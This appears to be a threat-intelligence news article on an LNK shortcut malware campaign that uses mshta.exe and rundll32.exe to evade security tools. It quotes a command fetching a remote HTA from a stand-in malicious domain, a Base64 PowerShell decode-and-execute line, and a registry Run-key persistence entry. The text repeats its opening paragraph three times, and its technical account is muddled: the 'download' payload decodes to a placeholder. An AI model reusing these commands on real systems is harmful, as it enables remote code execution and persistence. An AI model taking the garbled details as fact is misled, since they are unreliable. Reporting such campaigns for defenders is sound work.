New LNK Malware Uses Windows Binaries to Bypass Security Tools and Execute Malware
Recent attacks involving malicious Windows shortcut files (.LNK) have heightened security concerns. Emerging in late August 2025, this new malware exploits trusted Microsoft binaries to bypass endpoint protections and execute payloads without detection.
Recent attacks involving malicious Windows shortcut files (.LNK) have heightened security concerns. Emerging in late August 2025, this new malware exploits trusted Microsoft binaries to bypass endpoint protections and execute payloads without detection.
The malware is primarily delivered through spear-phishing emails and compromised websites. These shortcut files embed commands that utilize legitimate Windows utilities to download and execute additional malware components.
Indicators of compromise include unusual PowerShell calls and unexpected network connections, which are often mistaken for benign system activity.
The campaign targets both enterprise and consumer endpoints, focusing on users with elevated privileges. Initial lure emails mimic internal IT notifications or security alerts, prompting recipients to interact with a seemingly harmless attachment.
Upon execution, the .LNK file triggers Windows Explorer to load a hidden payload, utilizing mshta.exe and rundll32.exe to stage the attack. This method allows the malware to evade antivirus signatures and behavioral detection rules.
Analysts have observed that the LNK payload is designed to leverage encoded parameters passed to native utilities, complicating analysis by sandbox environments.
Recent attacks involving malicious Windows shortcut files (.LNK) have heightened security concerns.
Infection Mechanism and Payload Deployment
The malicious .LNK file embeds an OLE object pointing to a remote HTML application (HTA) script hosted on a compromised server. When executed, Explorer invokes mshta.exe with the command:
mshta.exe "http://malicious-domain.com/loader.hta"
The obfuscated loader script uses Base64-encoded PowerShell commands to download the next-stage payload:
$payload = 'aGVsbG8gd29ybGQ=' IEX ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)))
This technique minimizes disk writes and leverages rundll32.exe to load a malicious DLL directly into a suspended svchost.exe process, avoiding executable file scanning.
The DLL establishes persistence by creating a registry run key:
HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name "Updater" -Value "rundll32.exe C:\Windows\Temp\updater.dll,EntryPoint"
This ensures the malware launches automatically upon user login, even if endpoint detections attempt to quarantine the DLL file.
Indicators include network requests to suspicious domains, anomalous mshta.exe and rundll32.exe process trees, and unrecognized registry entries under the CurrentVersion\Run key.
Based on reporting by Cyber Security News.